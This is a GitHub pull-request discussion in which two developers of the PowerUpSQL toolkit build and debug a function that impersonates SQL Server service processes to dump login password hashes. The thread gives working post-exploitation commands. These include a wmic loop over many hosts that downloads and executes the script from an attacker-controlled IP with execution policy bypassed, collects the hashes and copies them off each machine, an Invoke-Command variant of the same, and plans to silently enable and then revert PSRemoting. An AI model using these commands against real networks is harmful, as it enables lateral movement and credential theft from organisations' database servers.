Closed m7x closed 7 years ago
Very cool. It looks like I have a merge conflict, but I think both additions would be great. I'll work through them and hit you back when I'm done.
It's good timing because I was going to roll in some other invoke-tokenmanipulation functions as well.
https://github.com/NetSPI/PowerUpSQL/tree/master/scripts/pending
Thanks for the great stuff!
Hi Mike,
I took a quick look at Get-SQLServerPasswordHash in the lab. It was slick. It worked great against SQL Server versions 2005 to 2016.
It only failed in two scenarios when it shouldn't have:
1 - When multiple SQL Server instances exist on the same server they have the same process name. As a result, the function sometimes impersonates the wrong service account and access to the target SQL Server instance is denied.
FIX = Just make sure to choose the SQL Server process that maps to the target instance.
2 - If the local/domain administrator doesn't have any privileges to log into SQL Server, the function returns before it attempts to migrate. FIX = If the migrate flag is set then attempt to migrate even after a failed login.
Both issues are easy fixes so I'll just add them when I roll in your function.
I'll let you know when I wrap things up.
Thanks again!
Scott
Hi Scott,
I apologise for the conflict, probably I wasn't editing the latest version. I can send another merge request which shouldn't have any conflict - just let me know.
In regards to the two points, I would like to suggest the following approach.
1 - Probably we could edit the Get-SQLServerInfo
to include the SQL process Id, which then would be used by Get-SQLPasswordHash
in case of the switch -Migrate
.
To Get the Process Id of the SQL Server instance:
$processid = select SERVERPROPERTY('processid'),SERVERPROPERTY('productversion')
Then we could pass the process Id by using the switch ProcessId
of Invoke-TokenManipulation
:
Invoke-TokenManipulation -ProcessId $processid -ImpersonateUser
However, this could raise an issue when you have multiple instances and you try to migrate from a previously migrated session:
PS > Invoke-TokenManipulation -ProcessId 2032 -ImpersonateUser
Main : Script must be run as administrator
At C:\Users\Administrator\PowerUpSQL-master\PowerUpSQL.ps1:17719 char:5
+ Main
+ ~~~~
+ CategoryInfo : NotSpecified: (:) [Write-Error], WriteErrorExcep
tion
+ FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorExceptio
n,Main
This is because the current migrated process doesn't have permission to migrate to a new process. To circumnavigate this problem, I was inspired by your function Get-SQLServerInfoThreaded
which spawns threads via Invoke-Parallel
. Assuming two instances running under the processes 2032 and 1080 the following commands will only migrate the process of the current thread without loosing the original (domain administrator) privileges :
$PipelineItems = New-Object -TypeName System.Data.DataTable
$ProvideProcessId = New-Object -TypeName PSObject -Property @{Processid = 2032}
$PipelineItems = $PipelineItems + $ProvideProcessId
$ProvideProcessId = New-Object -TypeName PSObject -Property @{Processid = 1080}
$PipelineItems = $PipelineItems + $ProvideProcessId
$PipelineItems = $PipelineItems + $_
$MyScriptBlock = { Invoke-TokenManipulation -ProcessId $_.Processid -ImpersonateUser; Invoke-TokenManipulation -WhoAmI| Out-File WhoAmI.txt }
$PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle 2 -RunspaceTimeout 5 -Quiet -ErrorAction SilentlyContinue
Invoke-TokenManipulation -WhoAmI
You should get an output similar to the following:
PS > $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle 2 -RunspaceTimeout 5 -Quiet -ErrorAction SilentlyContinue
Running As: NT Service\MSSQL$INSTANCE1
Running As: NT Service\MSSQLSERVER
PS > Invoke-TokenManipulation -WhoAmI
TESTDOMAIN\administrator
2- We could use the following code to check local administrator privileges (which I've stolen online):
$user = [Security.Principal.WindowsIdentity]::GetCurrent();
(New-Object Security.Principal.WindowsPrincipal $user).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)
Finally, I would like to ask your opinion. Imagine a post-exploitation scenario where you are domain administrator, you would like to dump all password hashes but you don’t have sysadmin rights on some SQL instances. You have essentially two options:
1) Enumerate users of the sysadmin group, load PowerUpSQL under one of those users (runas), and then dump the hashes
2) Use WMI to load PowerUpSQL remotely, use the switch -Migrate
to migrate to SQL Server process, save the results somewhere in the filesystem, and finally move them to your folder
Option 2) could be achieved with the following WMI command but I am not sure if there is a more "elegant" way to accomplish this task, ideally without touching the file system:
FOR /F %a IN (hosts.txt) do echo %a && wmic /node:%a process call create "powershell -nop -exec bypass -Command $b = New-Object System.Net.WebClient; $b.Proxy.Credentials = System.Net.CredentialCache]::DefaultNetworkCredentials; iex $b.DownloadString('http://[YOUR-IP]/PowerUpSQL.ps1'); $target = Get-SQLInstanceLocal; $hash = $target | Get-SQLServerPasswordHash -Migrate ; $hash | Export-Csv C:\Windows\Temp\%a_hashes.csv;" && timeout 20 && move \\%a\C$\Windows\Temp\%a_hashes.csv .
Many thanks, Mike
Hi Mike,
I'm pretty sure the merge issue was my bad. I'm not quite the Github master I would like to be. :) I pushed out an updated version of your function manually with a few tweaks to account for the prelisted scenarios. It runs just fine in all my test cases so it should be solid, but let me know if you have any issues because of my mods.
I’ve also tried to address your comments below, but let me know if I missed anything.
I think adding the pid to get-sqlserverinfo output is a great idea, and I’ll update it later this week. However, it can't be used when the local\domain admin doesn't have any rights to log into SQL Server. So instead I’m pulling the pid from Get-SQLServiceLocal. It grabs the pid when the migrate switch is used, and it just checks locally registered SQL Services. That way it isn't dependent on a successful login.
I added a line to rev2self after each instance is processed to avoid permissions issues with multiple instances. It worked in the lab, but let me know if you have any issues with it.
I think verifying the current user has local admin privs is a good idea too. I’ll add that update later in the week.
I think the tweaks I made to your function will allow you to execute the Get-SQLServerPasswordHash -migrate
command successfully if you’re a DA with local admin rights to the target windows server even if you have no rights to log into the SQL Server. At least it worked my lab.
Remote targeting stuff… a. I think you can use invoke-command to output all results to your local system without having to create files on the remote system.
$results = Invoke-Command -ComputerName MyServer1 -ScriptBlock {$b = New-Object System.Net.WebClient; $b.Proxy.Credentials = System.Net.CredentialCache]::DefaultNetworkCredentials; iex $b.DownloadString('http://[YOUR-IP]/PowerUpSQL.ps1'); $target = Get-SQLInstanceLocal; $hash = $target | Get-SQLServerPasswordHash -Migrate ; }
b. When using WMI, I think you could write the results directly to your unc path instead of writing them to the remote system first….i didn’t test that one though.
I’ll try to get the functions manually updated as described above in the next week or so then I’ll close the ticket out. I’ll have to figure out merger magic another time . In the meantime, I made sure you got called out for your work, but let me know if you have any other thoughts. Very fun stuff!
Thanks,
Scott
Hi Scott,
Thanks for the update. I will try it against my lab and provide my feedback ASAP.
5.a ) Wouldn't it require PSRemoting
to be enabled on the target (MyServer1
in your example) ?
5.b) I tried that approach the first time that I was thinking about using WMI but unfortunately it didn't work. Running the following under domain admin privileges doesn't create the test file:
wmic /node:192.168.90.101 process call create "cmd /c echo hello > \\192.168.90.100\C$\test.txt"
Note that if I run cmd /c echo hello > \\192.168.90.100\C$\test.txt
from a RDP session on 192.168.90.101 works fine.
Hi Mike,
5.a) Yes, you are correct, invoke-command does require PowerShell Remoting to be enabled on the target server. It's definitely not as flexible as WMI, but it still works against a subset of SQL Servers in most environments.
5.b) That's weird that execution via wmic isn't writing to the UNC path. I'm not sure what the issue is, but I'll ask the netspi folks if they can remember a work around. I'm pretty sure we have also done file upload/downloads via WMI using custom and registry classes (Matt Graeber style), but I'll have to get back to you on that one :)
Scott
Hi Scott,
I have tested your latest version.
In my lab I have two instances running on the same SQL Server. If I don't use the switch -Migrate
, it will grab the hashes of the first instance only where the current user (DOMAIN\Administrator) is member of the sysadmin
group, as expected. If I run it with -Migrate
I get the following error:
C:\>powershell -nop -exec bypass
PS C:\> Import-Module .\PowerUpSQL.ps1
PS C:\> $instance = Get-SQLInstanceLocal
PS C:\> $instance | Get-SQLServerPasswordHash -Migrate -Verbose
VERBOSE: WIN-TJNQG4I5UKO : Connection Success.
VERBOSE: WIN-TJNQG4I5UKO : You are a sysadmin.
Main : Script must be run as administrator
At C:\PowerUpSQL.ps1:17882 char:5
+ Main
+ ~~~~
+ CategoryInfo : NotSpecified: (:) [Write-Error], WriteErrorExcep
tion
+ FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorExceptio
n,Main
PS C:\>
Any thoughts? I am domain admin when I launch it.
My retest with more variable service account configurations resulted in the same error you got.
After a little troubleshooting It looks like line 17763 (Invoke-TokenManipulation) wants the the current user to be an explicit local administrator. It doesn't take into account "Domain Admin" group memberships. If i comment it out everything works fine, but I'll have to put in a better local admin check that accounts for all the group memberships later this week - almost there :)
I think everything works now. I tested the following scenarios:
Below is a summary of the updates.
Let me know how it works for you. :)
Thanks,
Scott
Hi Scott,
Thanks a lot for the updates!
I have done some tests. When I run it locally it works fine despite a few error messages:
PS C:\> $instance | Get-SQLServerPasswordHash -Migrate -Verbose
VERBOSE: WIN-TJNQG4I5UKO : Connection Success.
VERBOSE: WIN-TJNQG4I5UKO : You are not a sysadmin.
VERBOSE: WIN-TJNQG4I5UKO : TESTDOMAIN\administrator has local admin privileges.
VERBOSE: WIN-TJNQG4I5UKO : Impersonating SQL Server process:
VERBOSE: WIN-TJNQG4I5UKO : - Process ID: 1080
VERBOSE: WIN-TJNQG4I5UKO : - ServiceAccount: NT Service\MSSQLSERVER
VERBOSE: WIN-TJNQG4I5UKO : Successfully queried thread token
VERBOSE: Failed to open process handle for ProcessId: 516. ProcessName
services. Error code: 203 . This is likely because this is a protected process.
VERBOSE: Failed to open process handle for ProcessId: 256. ProcessName smss.
Error code: 203 . This is likely because this is a protected process.
VERBOSE: Failed to open process handle for ProcessId: 2368. ProcessName sppsvc.
Error code: 203 . This is likely because this is a protected process.
VERBOSE: WIN-TJNQG4I5UKO : Successfully queried thread token
VERBOSE: WIN-TJNQG4I5UKO : Successfully queried thread token
VERBOSE: WIN-TJNQG4I5UKO : Selecting token by Process object
VERBOSE: WIN-TJNQG4I5UKO : Attempting to dump password hashes.
VERBOSE: WIN-TJNQG4I5UKO : Attempt complete.
VERBOSE: WIN-TJNQG4I5UKO\INSTANCE1 : Connection Success.
VERBOSE: WIN-TJNQG4I5UKO\INSTANCE1 : You are a sysadmin.
VERBOSE: WIN-TJNQG4I5UKO\INSTANCE1 : Attempting to dump password hashes.
VERBOSE: WIN-TJNQG4I5UKO\INSTANCE1 : Attempt complete.
VERBOSE: 6 password hashes recovered.
ComputerName : WIN-TJNQG4I5UKO
Instance : WIN-TJNQG4I5UKO
PrincipalId : 1
PrincipalName : sa
PrincipalSid : 1
PrincipalType : SQL_LOGIN
CreateDate : 08/04/2003 09:10:35
DefaultDatabaseName : master
PasswordHash : .....
[...]
ComputerName : WIN-TJNQG4I5UKO
Instance : WIN-TJNQG4I5UKO\INSTANCE1
PrincipalId : 1
PrincipalName : sa
PrincipalSid : 1
PrincipalType : SQL_LOGIN
CreateDate : 08/04/2003 09:10:35
DefaultDatabaseName : master
PasswordHash : .....
It's also fine remotely with wmic
. I haven't tested it with PSRemoting
but I don't think it will break. The advantage of PSRemoting
is that won't touch the remote file system. Perhaps that's the correct route to go. Assuming a post exploitation scenario with domain administrator privileges already compromised, the script will:
1) remotely enable PSRemoting
if not already enabled
2) dump the password hashes with the switch -Migrate
3) finally revert the systems did not have PSRemoting
back
Anyway, great stuff!
Mike
Cool! Thanks for testing it again. I'm glad it worked this time. :)
I didn't test it against protected processes, so that explains the errors. I'll have to add that to my list of common test cases in the future.
I like how you're thinking about the remote execution via wmi/ps etc. I'll have to put some more thought into how to bake something like that into PowerUpSQL long term. It would be nice to have a "-RunAsSQLService" switch on each function, or something similar. :) That would make running everything on scale as a DA much easier.
Is there anything else you wanted baked in this round or are you ok with me closing this ticket?
Side Note: I also added a new function called Invoke-SQLImpersonateService. If you target a local instance as an administrator it will impersonate the associated SQL Server service account. Then you can run any PowerUpSQL command you want as a sysadmin. Hopefully it will be helpful too.
Example Commands:
Impersonate service account associated with an instance
Invoke-SQLImpersonateService -Instance Server1\Instance1
Run any PowerUpSQL command
Get-SQLServerInfo
Revert back to your original user context
Invoke-SQLImpersonateService -Rev2Self
I am happy to close this off. PowerUpSQL's -migrate
switch now works great! Cool staff thanks!
I am thinking about your RunAsSQLService
and I will send a pull request as soon as I have a bit of spare time.
Many thanks.
Ha, no rush! Thanks again for all your work!
Hi, This pull request that adds Invoke-TokenManipulation and a function called
Get-SQLServerPasswordHash
to retrieve password hashes from SQLServer instances.Invoke-TokenManipulation
can be useful in a post exploitation scenario when you have already obtained domain admin privileges but thedomain admins
group or your compromised domain admin account is not member of thesysadmin
group. In the case it's necessary to migrate to the SQL Server process in order to retrieve the password hashes. You could achieve this either remotely (via WMI) or locally.